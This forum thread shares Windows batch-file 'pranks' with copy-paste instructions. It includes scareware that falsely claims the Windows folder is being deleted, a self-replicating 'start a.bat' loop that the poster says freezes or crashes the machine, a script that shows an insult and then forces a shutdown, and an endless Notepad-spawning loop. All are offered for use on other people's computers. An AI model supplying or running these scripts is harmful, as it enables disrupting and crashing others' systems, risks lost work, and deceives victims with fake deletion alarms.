Batch file pranks

[josephlwu]

Here are some pranks i found on the internet. i only edited the words a little.Copy and paste these commands into Notepad. then save it as [anything you want].bat

this one makes you enter a username then fake deletes the hard drive

tree C:\WINDOWS
@echo If the proper username is not enetered the above files will be deleted by this virus
@echo Good Luck
@set/p\/name=username:
@echo haha you got the username wrong
@echo haha you got it wrong
@echo haha you got it wrong
@echo haha you got it wrong
@echo Files are being deleted
shutdown -c ALL WINDOWS COMPONENTS ARE BEING DELETED

this one freezes the computer by spamming CMD prompts(could possibly crash it too, so don't try it on yourself). YOU MUST SAVE THIS ONE AS a.bat!!

@echo off
:START
start a.bat
GOTO START

This one insults them

@echo off
msg * I don't like you
shutdown -c "ERROR! YOU ARE TOO STUPID!" -s

[tstom]

The 2nd one all you have to type is "start a.bat" and save it a.bat all file types

[miki08]

cool tho i kno that

[m164life]

@echo off
:start
start notepad
goto start